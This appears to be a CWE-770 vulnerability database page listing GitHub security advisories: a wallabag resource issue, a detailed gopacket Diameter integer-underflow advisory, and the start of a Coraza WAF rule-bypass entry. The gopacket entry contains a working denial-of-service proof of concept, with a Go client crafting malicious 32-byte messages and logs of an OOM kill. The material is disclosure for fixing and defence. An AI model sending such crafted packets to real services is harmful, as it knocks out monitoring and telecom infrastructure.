Common Weakness Enumeration

CWE-770

Allowed

Allocation of Resources Without Limits or Throttling

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

3956 vulnerabilities reference this CWE, most recent first.

GHSA-6QQ7-3HQC-P5W4

Vulnerability from github – Published: 2023-07-10 18:30 – Updated: 2023-07-19 22:14
VLAI
Summary
Wallabag vulnerable to Allocation of Resources Without Limits or Throttling
Details

A vulnerability was found in wallabag 2.5.4. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /config of the component Profile Config. The manipulation of the argument Name leads to allocation of resources. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-233359. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wallabag/wallabag"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-3566"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-10T21:52:53Z",
    "nvd_published_at": "2023-07-10T16:15:56Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in wallabag 2.5.4. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /config of the component Profile Config. The manipulation of the argument Name leads to allocation of resources. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-233359. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-6qq7-3hqc-p5w4",
  "modified": "2023-07-19T22:14:26Z",
  "published": "2023-07-10T18:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3566"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ctflearner/Vulnerability/blob/main/WALLABAG/NAME-LIMIT.md"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wallabag/wallabag"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.233359"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.233359"
    },
    {
      "type": "WEB",
      "url": "https://youtu.be/ouwud0PlHkE"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Wallabag vulnerable to Allocation of Resources Without Limits or Throttling"
}

GHSA-6R28-9PPF-4HJ5

Vulnerability from github – Published: 2026-07-28 16:14 – Updated: 2026-07-28 16:14
VLAI
Summary
GoPacket's Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS)
Details

Summary

The Diameter AVP decoder in github.com/gopacket/gopacket computes dataLength := avp.Length - uint32(headerSize) without first ensuring avp.Length >= headerSize. When the Vendor flag is set, headerSize is 12, but the only length guard upstream rejects avp.Length < 8. An AVP with the Vendor flag set and a 24-bit Length field of 8, 9, 10, or 11 therefore underflows the uint32 subtraction to ~4,294,967,292, which is passed straight to make([]byte, dataLength). A single 32-byte Diameter message forces a ~4 GiB allocation; a short burst of such messages exhausts memory and OOM-kills memory-constrained collectors. This is an unauthenticated remote denial of service (CWE-191 integer underflow -> CWE-770 unbounded allocation).

Root cause (file:line @ v1.6.0)

layers/diameter_avp_decoders.go, decodeDiameterAVP:

avp.Length = uint32(data[5])<<16 | uint32(data[6])<<8 | uint32(data[7]) // 24-bit wire value

if avp.Length < 8 {                       // only rejects < 8
    return DiameterAVP{}, 0, fmt.Errorf("invalid AVP length: %d", avp.Length)
}

headerSize := 8
dataOffset := 8
if avp.Flags.Vendor {                     // Vendor flag = wire bit data[4] & 0x80
    if len(data) < 12 { ... }
    avp.VendorID = binary.BigEndian.Uint32(data[8:12])
    headerSize = 12                       // header is now 12, but only >= 8 was checked
    dataOffset = 12
}

paddedLength := avp.Length                // equals avp.Length; for avp.Length <= 12
if avp.Length%4 != 0 { paddedLength = avp.Length + (4 - avp.Length%4) }
if uint32(len(data)) < paddedLength {     // only requires ~12 bytes present
    return DiameterAVP{}, 0, fmt.Errorf("AVP data truncated: ...")
}

dataLength := avp.Length - uint32(headerSize)  // 8 - 12 = uint32 underflow = 4294967292
avp.Data = make([]byte, dataLength)            // make([]byte, ~4.29e9) ~= 4 GiB
copy(avp.Data, data[dataOffset:dataOffset+int(dataLength)])  // out-of-bounds slice -> panic

For avp.Length in {8, 9, 10, 11} with the Vendor flag set: the avp.Length < 8 guard passes, paddedLength == avp.Length so only avp.Length bytes must be present, and dataLength = avp.Length - 12 underflows the uint32. The allocation size is determined entirely by the attacker-supplied 3-byte Length field plus a single flag bit. The make executes before the copy, so the multi-gigabyte allocation is requested regardless of whether the copy later panics.

Reachability (remote attacker -> sink)

LayerTypeDiameter is a registered decoder (layertypes.go:159, RegisterLayerType(154, ... decodeDiameter)):

decodeDiameter -> (*Diameter).DecodeFromBytes (diameter.go:118) -> parses the 20-byte header -> avpData := data[20:d.MessageLength] -> AVP loop decodeDiameterAVP(avpData) (diameter.go:158) -> sink at diameter_avp_decoders.go:57.

Diameter (RFC 6733) is a TCP/SCTP base protocol used for AAA and telecom/5G signaling. Any service that parses Diameter with gopacket (packet collectors, signaling monitors, IDS/analysis tooling) processes attacker-sent or attacker-forwarded Diameter messages with no authentication involved, so any host able to deliver such a message to the parser reaches the sink. The same path is reached via gopacket.NewPacket(data, LayerTypeDiameter, ...). The Diameter layer is specific to this gopacket fork (the original google/gopacket has no Diameter layer), so there is no upstream sibling fix.

Impact

Unauthenticated remote denial of service via memory exhaustion. Each malicious 32-byte Diameter message requests a ~4 GiB allocation (amplification ~1.34e8x over the input). There is no memory corruption and no code execution -- the impact is resource exhaustion / process termination. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).

Note on consumer behavior (measured end-to-end against a deployed collector, see PoC):

  • A collector using the recovering gopacket.NewPacket(..., gopacket.Default) API survives a single malicious message: the ~4 GiB make([]byte, dataLength) runs (in-process runtime.MemStats shows a 4096 MB TotalAlloc delta per message), but the immediately-following out-of-bounds copy panics before the allocator faults in the 4 GiB of physical pages, the panic is recovered into an ErrorLayer, and the reservation is reclaimed by the GC. RSS therefore does not commit on a single message.
  • Two malicious messages in succession reliably OOM-kill the collector under a 256 MB cap: the second make commits physical pages before the first reservation is fully returned to the cgroup, and the kernel cgroup OOM-killer terminates the process (OOMKilled=true, exit 137). This was reproduced with two messages sent strictly serially to the single-threaded accept loop (no concurrency required).
  • Consumers that call DecodeFromBytes directly (common in performance-sensitive collectors) or set SkipDecodeRecovery: true additionally get an uncaught panic / crash on the first message.

In all cases the underlying defect is the same unbounded ~4 GiB allocation driven by an attacker-controlled field; the only variable is how many messages it takes to exhaust a given memory limit.

Proof of Concept

This PoC is an end-to-end test against a real deployed Diameter collector. A minimal but realistic TCP collector (built on the public gopacket API) runs inside a hard-capped 256 MB container; an independent client process sends real malicious Diameter messages over a real TCP socket; the collector process is then observed to die. A benign message is used as a negative control. The harness pins github.com/gopacket/gopacket@v1.6.0 (the sink is confirmed at the v1.6.0 tag, layers/diameter_avp_decoders.go:56-58).

Collector (real TCP Diameter collector)

// collector.go — accepts a TCP connection, reads one Diameter message (framed by
// the 24-bit Message Length in the base header), builds a gopacket.Packet rooted
// at LayerTypeDiameter and accesses the layer, which drives the registered
// Diameter decoder over the attacker-controlled bytes.
package main

import (
    "fmt"
    "io"
    "net"
    "os"

    "github.com/gopacket/gopacket"
    "github.com/gopacket/gopacket/layers"
)

func readDiameterMessage(conn net.Conn) ([]byte, error) {
    hdr := make([]byte, 20)
    if _, err := io.ReadFull(conn, hdr); err != nil {
        return nil, err
    }
    msgLen := uint32(hdr[1])<<16 | uint32(hdr[2])<<8 | uint32(hdr[3])
    if msgLen < 20 {
        return hdr, nil
    }
    full := make([]byte, msgLen)
    copy(full, hdr)
    if _, err := io.ReadFull(conn, full[20:]); err != nil {
        return nil, err
    }
    return full, nil
}

func main() {
    ln, err := net.Listen("tcp", "0.0.0.0:3868")
    if err != nil {
        fmt.Fprintf(os.Stderr, "listen error: %v\n", err)
        os.Exit(1)
    }
    defer ln.Close()
    fmt.Printf("[collector] Diameter collector listening on tcp %s\n", ln.Addr())
    for {
        conn, err := ln.Accept()
        if err != nil {
            continue
        }
        func() {
            defer conn.Close()
            data, err := readDiameterMessage(conn)
            if err != nil {
                return
            }
            fmt.Printf("[collector] received %d-byte Diameter message from %s\n", len(data), conn.RemoteAddr())
            pkt := gopacket.NewPacket(data, layers.LayerTypeDiameter, gopacket.Default)
            if d, ok := pkt.Layer(layers.LayerTypeDiameter).(*layers.Diameter); ok {
                fmt.Printf("[collector] decoded Diameter: version=%d cmd=%d msgLen=%d avps=%d\n",
                    d.Version, d.CommandCode, d.MessageLength, len(d.AVPs))
            } else {
                fmt.Printf("[collector] no Diameter layer decoded\n")
            }
        }()
    }
}

Client (independent process, real TCP socket, no gopacket dependency)

The client crafts a 20-byte Diameter base header followed by one vendor AVP whose 24-bit Length is avpLen. With the Vendor flag set, the decoder's headerSize becomes 12; for avpLen in {8,9,10,11} the dataLength = avpLen - 12 subtraction underflows. For the benign case avpLen >= 12 so the AVP carries avpLen-12 real bytes and parses cleanly.

// client.go — usage: client <addr> <avpLen> [--benign]
package main

import (
    "encoding/binary"
    "fmt"
    "net"
    "os"
    "strconv"
    "time"
)

func be32(v uint32) []byte { b := make([]byte, 4); binary.BigEndian.PutUint32(b, v); return b }

func craft(avpLen uint32, benign bool) []byte {
    avp := []byte{}
    avp = append(avp, be32(1)...) // AVP Code = 1
    avp = append(avp, 0x80)       // Flags: Vendor bit set -> headerSize becomes 12
    avp = append(avp, byte(avpLen>>16), byte(avpLen>>8), byte(avpLen)) // 24-bit Length
    avp = append(avp, be32(0)...) // VendorID
    if benign {
        dataLen := int(avpLen) - 12
        if dataLen < 0 {
            dataLen = 0
        }
        padded := dataLen
        if padded%4 != 0 {
            padded += 4 - padded%4
        }
        for i := 0; i < padded; i++ {
            avp = append(avp, 0x42)
        }
    } else {
        for len(avp) < 12 {
            avp = append(avp, 0x00)
        }
    }
    msgLen := uint32(20 + len(avp))
    hdr := make([]byte, 20)
    hdr[0] = 0x01 // Version 1
    hdr[1] = byte(msgLen >> 16)
    hdr[2] = byte(msgLen >> 8)
    hdr[3] = byte(msgLen)
    hdr[4] = 0x80 // Command Flags: Request
    hdr[5], hdr[6], hdr[7] = 0x00, 0x01, 0x01 // CommandCode 257
    return append(hdr, avp...)
}

func main() {
    addr := os.Args[1]
    avpLen, _ := strconv.ParseUint(os.Args[2], 10, 32)
    benign := len(os.Args) > 3 && os.Args[3] == "--benign"
    data := craft(uint32(avpLen), benign)
    conn, err := net.Dial("tcp", addr)
    if err != nil {
        fmt.Fprintf(os.Stderr, "dial error: %v\n", err)
        os.Exit(1)
    }
    defer conn.Close()
    conn.Write(data)
    fmt.Printf("[client] sent %d-byte Diameter message (avpLen=%d, vendor, benign=%v)\n",
        len(data), avpLen, benign)
    buf := make([]byte, 1)
    conn.SetReadDeadline(time.Now().Add(3 * time.Second))
    conn.Read(buf)
}

Run and observed result

The collector runs under a hard 256 MB cgroup cap with swap disabled (--memory=256m --memory-swap=256m) so the OOM is contained to the cgroup and the host is unaffected.

Negative control (benign message, vendor AVP Length=16, dataLength=4):

$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 16 --benign
[client] sent 36-byte Diameter message (avpLen=16, vendor, benign=true)

# collector log:
[collector] received 36-byte Diameter message from 172.19.0.3:53216
[collector] decoded Diameter: version=1 cmd=257 msgLen=36 avps=1
# collector status: running (ALIVE); RSS flat at 1.5 MiB

Attack message #1 (malicious, vendor AVP Length=8 -> 8-12 underflow -> ~4 GiB make):

$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8
[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -> make([]byte, 4294967292) ~= 4.00 GiB
[client] message sent over real TCP socket

# collector log:
[collector] received 32-byte Diameter message from 172.19.0.3:53230
[collector] no Diameter layer decoded
# collector status after #1: running (the single ~4 GiB make panics on the
# subsequent out-of-bounds copy and is recovered before physical pages commit);
# RSS 6.5 MiB

Attack message #2 (same malicious message again):

$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8
[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -> make([]byte, 4294967292) ~= 4.00 GiB
[client] message sent over real TCP socket

# container final state:
Status=exited OOMKilled=true ExitCode=137

Two malicious 32-byte Diameter messages, delivered over a real TCP socket to a real gopacket-based collector, terminate the collector process: the kernel cgroup OOM-killer fires (OOMKilled=true, exit 137). A single message is recovered by the default decoding API and the process survives, but the second make([]byte, 4294967292) commits before the first reservation is reclaimed and exhausts the 256 MB limit. This was reproduced with the two messages sent strictly serially (no concurrency). The benign control on the same collector decodes cleanly and the process stays alive with flat RSS, confirming the attacker-controlled AVP Length underflow is what drives the allocation.

In-process measurement confirms the per-message allocation: feeding the same 32-byte message through gopacket.NewPacket(..., gopacket.Default) shows a runtime.MemStats TotalAlloc delta of 4096 MB, i.e. the make([]byte, 4294967292) genuinely executes on every message before the copy panics.

The host is unaffected throughout: the allocation is contained by the 256 MB cgroup cap (no swap), and host swap stayed above 900 MB free across the run.

Affected versions

github.com/gopacket/gopacket <= v1.6.0 (v1.6.0 is the latest release; the sink is present at the v1.6.0 tag). The Diameter layer is specific to this module.

Suggested fix

After headerSize is finalized (i.e. after the Vendor-flag branch), reject any AVP whose declared Length cannot cover its own header, before computing dataLength:

if avp.Length < uint32(headerSize) {
    return DiameterAVP{}, 0, fmt.Errorf("invalid AVP length: %d, smaller than header size %d", avp.Length, headerSize)
}

This mirrors the existing avp.Length < 8 check but accounts for the 12-byte vendor header, eliminating the underflow and capping the allocation at the real data size. With this guard the upstream go test ./layers -run Diameter suite (9 tests) still passes and valid vendor AVPs parse unchanged.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gopacket/gopacket"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54345"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T16:14:36Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Diameter AVP decoder in `github.com/gopacket/gopacket` computes `dataLength := avp.Length - uint32(headerSize)` without first ensuring `avp.Length \u003e= headerSize`. When the Vendor flag is set, `headerSize` is 12, but the only length guard upstream rejects `avp.Length \u003c 8`. An AVP with the Vendor flag set and a 24-bit Length field of 8, 9, 10, or 11 therefore underflows the `uint32` subtraction to ~4,294,967,292, which is passed straight to `make([]byte, dataLength)`. A single 32-byte Diameter message forces a ~4 GiB allocation; a short burst of such messages exhausts memory and OOM-kills memory-constrained collectors. This is an unauthenticated remote denial of service (CWE-191 integer underflow -\u003e CWE-770 unbounded allocation).\n\n## Root cause (file:line @ v1.6.0)\n\n`layers/diameter_avp_decoders.go`, `decodeDiameterAVP`:\n\n```go\navp.Length = uint32(data[5])\u003c\u003c16 | uint32(data[6])\u003c\u003c8 | uint32(data[7]) // 24-bit wire value\n\nif avp.Length \u003c 8 {                       // only rejects \u003c 8\n    return DiameterAVP{}, 0, fmt.Errorf(\"invalid AVP length: %d\", avp.Length)\n}\n\nheaderSize := 8\ndataOffset := 8\nif avp.Flags.Vendor {                     // Vendor flag = wire bit data[4] \u0026 0x80\n    if len(data) \u003c 12 { ... }\n    avp.VendorID = binary.BigEndian.Uint32(data[8:12])\n    headerSize = 12                       // header is now 12, but only \u003e= 8 was checked\n    dataOffset = 12\n}\n\npaddedLength := avp.Length                // equals avp.Length; for avp.Length \u003c= 12\nif avp.Length%4 != 0 { paddedLength = avp.Length + (4 - avp.Length%4) }\nif uint32(len(data)) \u003c paddedLength {     // only requires ~12 bytes present\n    return DiameterAVP{}, 0, fmt.Errorf(\"AVP data truncated: ...\")\n}\n\ndataLength := avp.Length - uint32(headerSize)  // 8 - 12 = uint32 underflow = 4294967292\navp.Data = make([]byte, dataLength)            // make([]byte, ~4.29e9) ~= 4 GiB\ncopy(avp.Data, data[dataOffset:dataOffset+int(dataLength)])  // out-of-bounds slice -\u003e panic\n```\n\nFor `avp.Length` in `{8, 9, 10, 11}` with the Vendor flag set: the `avp.Length \u003c 8` guard passes, `paddedLength == avp.Length` so only `avp.Length` bytes must be present, and `dataLength = avp.Length - 12` underflows the `uint32`. The allocation size is determined entirely by the attacker-supplied 3-byte Length field plus a single flag bit. The `make` executes before the `copy`, so the multi-gigabyte allocation is requested regardless of whether the copy later panics.\n\n## Reachability (remote attacker -\u003e sink)\n\n`LayerTypeDiameter` is a registered decoder (`layertypes.go:159`, `RegisterLayerType(154, ... decodeDiameter)`):\n\n`decodeDiameter` -\u003e `(*Diameter).DecodeFromBytes` (diameter.go:118) -\u003e parses the 20-byte header -\u003e `avpData := data[20:d.MessageLength]` -\u003e AVP loop `decodeDiameterAVP(avpData)` (diameter.go:158) -\u003e sink at `diameter_avp_decoders.go:57`.\n\nDiameter (RFC 6733) is a TCP/SCTP base protocol used for AAA and telecom/5G signaling. Any service that parses Diameter with gopacket (packet collectors, signaling monitors, IDS/analysis tooling) processes attacker-sent or attacker-forwarded Diameter messages with no authentication involved, so any host able to deliver such a message to the parser reaches the sink. The same path is reached via `gopacket.NewPacket(data, LayerTypeDiameter, ...)`. The Diameter layer is specific to this gopacket fork (the original google/gopacket has no Diameter layer), so there is no upstream sibling fix.\n\n## Impact\n\nUnauthenticated remote denial of service via memory exhaustion. Each malicious 32-byte Diameter message requests a ~4 GiB allocation (amplification ~1.34e8x over the input). There is no memory corruption and no code execution -- the impact is resource exhaustion / process termination. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).\n\nNote on consumer behavior (measured end-to-end against a deployed collector, see PoC):\n\n- A collector using the recovering `gopacket.NewPacket(..., gopacket.Default)` API survives a *single* malicious message: the ~4 GiB `make([]byte, dataLength)` runs (in-process `runtime.MemStats` shows a 4096 MB `TotalAlloc` delta per message), but the immediately-following out-of-bounds `copy` panics before the allocator faults in the 4 GiB of physical pages, the panic is recovered into an `ErrorLayer`, and the reservation is reclaimed by the GC. RSS therefore does not commit on a single message.\n- **Two malicious messages in succession reliably OOM-kill the collector** under a 256 MB cap: the second `make` commits physical pages before the first reservation is fully returned to the cgroup, and the kernel cgroup OOM-killer terminates the process (`OOMKilled=true`, exit 137). This was reproduced with two messages sent strictly serially to the single-threaded accept loop (no concurrency required).\n- Consumers that call `DecodeFromBytes` directly (common in performance-sensitive collectors) or set `SkipDecodeRecovery: true` additionally get an uncaught panic / crash on the first message.\n\nIn all cases the underlying defect is the same unbounded ~4 GiB allocation driven by an attacker-controlled field; the only variable is how many messages it takes to exhaust a given memory limit.\n\n## Proof of Concept\n\nThis PoC is an end-to-end test against a real deployed Diameter collector. A minimal but realistic TCP collector (built on the public gopacket API) runs inside a hard-capped 256 MB container; an independent client process sends real malicious Diameter messages over a real TCP socket; the collector process is then observed to die. A benign message is used as a negative control. The harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at the v1.6.0 tag, `layers/diameter_avp_decoders.go:56-58`).\n\n### Collector (real TCP Diameter collector)\n\n```go\n// collector.go \u2014 accepts a TCP connection, reads one Diameter message (framed by\n// the 24-bit Message Length in the base header), builds a gopacket.Packet rooted\n// at LayerTypeDiameter and accesses the layer, which drives the registered\n// Diameter decoder over the attacker-controlled bytes.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"os\"\n\n\t\"github.com/gopacket/gopacket\"\n\t\"github.com/gopacket/gopacket/layers\"\n)\n\nfunc readDiameterMessage(conn net.Conn) ([]byte, error) {\n\thdr := make([]byte, 20)\n\tif _, err := io.ReadFull(conn, hdr); err != nil {\n\t\treturn nil, err\n\t}\n\tmsgLen := uint32(hdr[1])\u003c\u003c16 | uint32(hdr[2])\u003c\u003c8 | uint32(hdr[3])\n\tif msgLen \u003c 20 {\n\t\treturn hdr, nil\n\t}\n\tfull := make([]byte, msgLen)\n\tcopy(full, hdr)\n\tif _, err := io.ReadFull(conn, full[20:]); err != nil {\n\t\treturn nil, err\n\t}\n\treturn full, nil\n}\n\nfunc main() {\n\tln, err := net.Listen(\"tcp\", \"0.0.0.0:3868\")\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"listen error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer ln.Close()\n\tfmt.Printf(\"[collector] Diameter collector listening on tcp %s\\n\", ln.Addr())\n\tfor {\n\t\tconn, err := ln.Accept()\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfunc() {\n\t\t\tdefer conn.Close()\n\t\t\tdata, err := readDiameterMessage(conn)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfmt.Printf(\"[collector] received %d-byte Diameter message from %s\\n\", len(data), conn.RemoteAddr())\n\t\t\tpkt := gopacket.NewPacket(data, layers.LayerTypeDiameter, gopacket.Default)\n\t\t\tif d, ok := pkt.Layer(layers.LayerTypeDiameter).(*layers.Diameter); ok {\n\t\t\t\tfmt.Printf(\"[collector] decoded Diameter: version=%d cmd=%d msgLen=%d avps=%d\\n\",\n\t\t\t\t\td.Version, d.CommandCode, d.MessageLength, len(d.AVPs))\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"[collector] no Diameter layer decoded\\n\")\n\t\t\t}\n\t\t}()\n\t}\n}\n```\n\n### Client (independent process, real TCP socket, no gopacket dependency)\n\nThe client crafts a 20-byte Diameter base header followed by one vendor AVP whose 24-bit Length is `avpLen`. With the Vendor flag set, the decoder\u0027s `headerSize` becomes 12; for `avpLen` in `{8,9,10,11}` the `dataLength = avpLen - 12` subtraction underflows. For the benign case `avpLen \u003e= 12` so the AVP carries `avpLen-12` real bytes and parses cleanly.\n\n```go\n// client.go \u2014 usage: client \u003caddr\u003e \u003cavpLen\u003e [--benign]\npackage main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n\t\"time\"\n)\n\nfunc be32(v uint32) []byte { b := make([]byte, 4); binary.BigEndian.PutUint32(b, v); return b }\n\nfunc craft(avpLen uint32, benign bool) []byte {\n\tavp := []byte{}\n\tavp = append(avp, be32(1)...) // AVP Code = 1\n\tavp = append(avp, 0x80)       // Flags: Vendor bit set -\u003e headerSize becomes 12\n\tavp = append(avp, byte(avpLen\u003e\u003e16), byte(avpLen\u003e\u003e8), byte(avpLen)) // 24-bit Length\n\tavp = append(avp, be32(0)...) // VendorID\n\tif benign {\n\t\tdataLen := int(avpLen) - 12\n\t\tif dataLen \u003c 0 {\n\t\t\tdataLen = 0\n\t\t}\n\t\tpadded := dataLen\n\t\tif padded%4 != 0 {\n\t\t\tpadded += 4 - padded%4\n\t\t}\n\t\tfor i := 0; i \u003c padded; i++ {\n\t\t\tavp = append(avp, 0x42)\n\t\t}\n\t} else {\n\t\tfor len(avp) \u003c 12 {\n\t\t\tavp = append(avp, 0x00)\n\t\t}\n\t}\n\tmsgLen := uint32(20 + len(avp))\n\thdr := make([]byte, 20)\n\thdr[0] = 0x01 // Version 1\n\thdr[1] = byte(msgLen \u003e\u003e 16)\n\thdr[2] = byte(msgLen \u003e\u003e 8)\n\thdr[3] = byte(msgLen)\n\thdr[4] = 0x80 // Command Flags: Request\n\thdr[5], hdr[6], hdr[7] = 0x00, 0x01, 0x01 // CommandCode 257\n\treturn append(hdr, avp...)\n}\n\nfunc main() {\n\taddr := os.Args[1]\n\tavpLen, _ := strconv.ParseUint(os.Args[2], 10, 32)\n\tbenign := len(os.Args) \u003e 3 \u0026\u0026 os.Args[3] == \"--benign\"\n\tdata := craft(uint32(avpLen), benign)\n\tconn, err := net.Dial(\"tcp\", addr)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"dial error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\tconn.Write(data)\n\tfmt.Printf(\"[client] sent %d-byte Diameter message (avpLen=%d, vendor, benign=%v)\\n\",\n\t\tlen(data), avpLen, benign)\n\tbuf := make([]byte, 1)\n\tconn.SetReadDeadline(time.Now().Add(3 * time.Second))\n\tconn.Read(buf)\n}\n```\n\n### Run and observed result\n\nThe collector runs under a hard 256 MB cgroup cap with swap disabled (`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and the host is unaffected.\n\nNegative control (benign message, vendor AVP `Length=16`, `dataLength=4`):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 16 --benign\n[client] sent 36-byte Diameter message (avpLen=16, vendor, benign=true)\n\n# collector log:\n[collector] received 36-byte Diameter message from 172.19.0.3:53216\n[collector] decoded Diameter: version=1 cmd=257 msgLen=36 avps=1\n# collector status: running (ALIVE); RSS flat at 1.5 MiB\n```\n\nAttack message #1 (malicious, vendor AVP `Length=8` -\u003e `8-12` underflow -\u003e ~4 GiB make):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8\n[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -\u003e make([]byte, 4294967292) ~= 4.00 GiB\n[client] message sent over real TCP socket\n\n# collector log:\n[collector] received 32-byte Diameter message from 172.19.0.3:53230\n[collector] no Diameter layer decoded\n# collector status after #1: running (the single ~4 GiB make panics on the\n# subsequent out-of-bounds copy and is recovered before physical pages commit);\n# RSS 6.5 MiB\n```\n\nAttack message #2 (same malicious message again):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8\n[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -\u003e make([]byte, 4294967292) ~= 4.00 GiB\n[client] message sent over real TCP socket\n\n# container final state:\nStatus=exited OOMKilled=true ExitCode=137\n```\n\nTwo malicious 32-byte Diameter messages, delivered over a real TCP socket to a real gopacket-based collector, terminate the collector process: the kernel cgroup OOM-killer fires (`OOMKilled=true`, exit 137). A single message is recovered by the default decoding API and the process survives, but the second `make([]byte, 4294967292)` commits before the first reservation is reclaimed and exhausts the 256 MB limit. This was reproduced with the two messages sent strictly serially (no concurrency). The benign control on the same collector decodes cleanly and the process stays alive with flat RSS, confirming the attacker-controlled AVP Length underflow is what drives the allocation.\n\nIn-process measurement confirms the per-message allocation: feeding the same 32-byte message through `gopacket.NewPacket(..., gopacket.Default)` shows a `runtime.MemStats` `TotalAlloc` delta of 4096 MB, i.e. the `make([]byte, 4294967292)` genuinely executes on every message before the copy panics.\n\nThe host is unaffected throughout: the allocation is contained by the 256 MB cgroup cap (no swap), and host swap stayed above 900 MB free across the run.\n\n## Affected versions\n\n`github.com/gopacket/gopacket` \u003c= v1.6.0 (v1.6.0 is the latest release; the sink is present at the v1.6.0 tag). The Diameter layer is specific to this module.\n\n## Suggested fix\n\nAfter `headerSize` is finalized (i.e. after the Vendor-flag branch), reject any AVP whose declared Length cannot cover its own header, before computing `dataLength`:\n\n```go\nif avp.Length \u003c uint32(headerSize) {\n    return DiameterAVP{}, 0, fmt.Errorf(\"invalid AVP length: %d, smaller than header size %d\", avp.Length, headerSize)\n}\n```\n\nThis mirrors the existing `avp.Length \u003c 8` check but accounts for the 12-byte vendor header, eliminating the underflow and capping the allocation at the real data size. With this guard the upstream `go test ./layers -run Diameter` suite (9 tests) still passes and valid vendor AVPs parse unchanged.",
  "id": "GHSA-6r28-9ppf-4hj5",
  "modified": "2026-07-28T16:14:36Z",
  "published": "2026-07-28T16:14:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gopacket/gopacket/security/advisories/GHSA-6r28-9ppf-4hj5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gopacket/gopacket/commit/145859d0eaee1a6f5925ffb93851c976449c3311"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gopacket/gopacket"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gopacket/gopacket/releases/tag/v1.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GoPacket\u0027s Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS)"
}

GHSA-6R3Q-MJV7-XR8M

Vulnerability from github – Published: 2026-10-06 20:38 – Updated: 2026-10-06 20:38
VLAI
Summary
Coraza: Silent argument drop at ArgumentLimit allows bypass of ARGS-targeted rules via parameter flooding
Details

Root Cause

File: internal/corazawaf/transaction.go, lines 770–808 (since commit 2fd87b89, PR #812, 2023-06-14)

func (tx *Transaction) AddGetRequestArgument(key string, value string) {
    if tx.checkArgumentLimit(tx.variables.argsGet) {
